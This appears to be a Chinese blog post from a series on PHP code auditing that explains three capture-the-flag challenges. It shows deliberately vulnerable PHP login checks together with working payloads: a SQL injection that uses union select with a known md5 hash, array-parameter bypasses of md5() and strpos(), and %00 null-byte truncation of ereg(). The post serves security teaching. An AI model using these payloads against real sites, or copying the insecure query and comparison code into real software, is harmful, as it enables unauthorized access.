• PHP代码审计分段讲解(7)


    17 密码md5比较绕过

    <?php
    
    if($_POST[user] && $_POST[pass]) {
       mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
      mysql_select_db(SAE_MYSQL_DB);
      $user = $_POST[user];
      $pass = md5($_POST[pass]);
      $query = @mysql_fetch_array(mysql_query("select pw from ctf where user=' $user '"));
      if (($query[pw]) && (!strcasecmp($pass, $query[pw]))) {
    
        //strcasecmp:0 - 如果两个字符串相等
    
          echo "<p>Logged in! Key: ntcf{**************} </p>";
      }
      else {
        echo("<p>Log in failure!</p>");
      }
    }
    
    ?>

    POST方式传入user和pass的值,将密码进行md5加密之后,与数据库中对应user的密码进行比较,相等则输出flag。

    这道题跟第9题类似,使用union select 传入已知数字的md5值

    ?user='and 0=1 union select 'e10adc3949ba59abbe56e057f20f883e' #&pass=123456

    sql语句变为了

    select pw from ctf where user=''and 0=1 union select  'e10adc3949ba59abbe56e057f20f883e' #

    登录获取flag

     

    18 md5()函数===使用数组绕过

    <?php
    error_reporting(0);
    $flag = 'flag{test}';
    if (isset($_GET['username']) and isset($_GET['password'])) {
        if ($_GET['username'] == $_GET['password'])
            print 'Your password can not be your username.';
        else if (md5($_GET['username']) === md5($_GET['password']))
            die('Flag: '.$flag);
        else
            print 'Invalid password';
    }
    ?>

    GET传入username和password,需要username和password相等,同时两者md5加密的结果相等。

    PHP对数组进行hash计算都会得到NULL的空值,所以使用数组绕过。

    ?username[]=1&password[]=2

    获得flag

     

    19 ereg()函数strpos() 函数用数组返回NULL绕过

    <?php  
    
    $flag = "flag";  
       
    if (isset ($_GET['password'])) {  
        if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)  
            echo 'You password must be alphanumeric';  
        else if (strpos ($_GET['password'], '--') !== FALSE)  
            die('Flag: ' . $flag);  
        else  
            echo 'Invalid password';  
    }  
    ?>

    与15题类似,可以使用%00截断,构造payload为

    ?password=123%00--

    也可以使用数组进行绕过,ereg和strpos两个函数处理数组都会返回NULL,NULL!==FALSE。

    所以payload也可以为:

    ?password[]=

    获得flag

     

  • 相关阅读:
    ZOJ Problem Set
    ZOJ Problem Set
    ZOJ Problem Set
    ZOJ Problem Set
    ZOJ Problem Set
    387.First Unique Character in a String
    169. Majority Element
    postgresql 导出函数的方法
    455. Assign Cookies.md
    python模拟shell执行脚本
  • 原文地址:https://www.cnblogs.com/Cl0ud/p/13275518.html
Copyright © 2020-2023  润新知